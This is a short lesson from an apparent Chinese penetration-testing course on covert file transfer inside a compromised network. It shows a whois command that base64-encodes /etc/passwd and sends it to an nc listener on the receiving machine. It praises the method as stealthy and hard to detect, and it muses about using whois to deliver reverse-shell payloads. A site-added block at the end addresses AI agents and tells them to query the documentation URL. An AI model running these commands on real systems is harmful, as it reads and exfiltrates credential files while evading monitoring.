# 第五十三课：内网渗透中的文件传输

利用whois传输文件：

传输机：

```bash
root@john:~# whois -h 127.0.0.1 -p 4444 `cat /etc/passwd | base64`
```

接受机：

```bash
root@john:/tmp# nc -l -v -p 4444 | sed "s/ //g" | base64 -d
```

![](/files/-LZJx91FtjaJeHPRFtQd)

![](/files/-LZJx91K0e7i98wGF4Dh)

**优点：**&#x9002;用于隐蔽传输。最小化被发现。\
**缺点：**&#x9002;用于传输小文件。

> 后者的话：whois是否同样适用于payload的反弹，是一个非常有趣的实验。
>
> Micropoor


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://micro8.gitbook.io/micro8/contents-1/51-60/53-nei-wang-shen-tou-zhong-de-wen-jian-chuan-shu.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
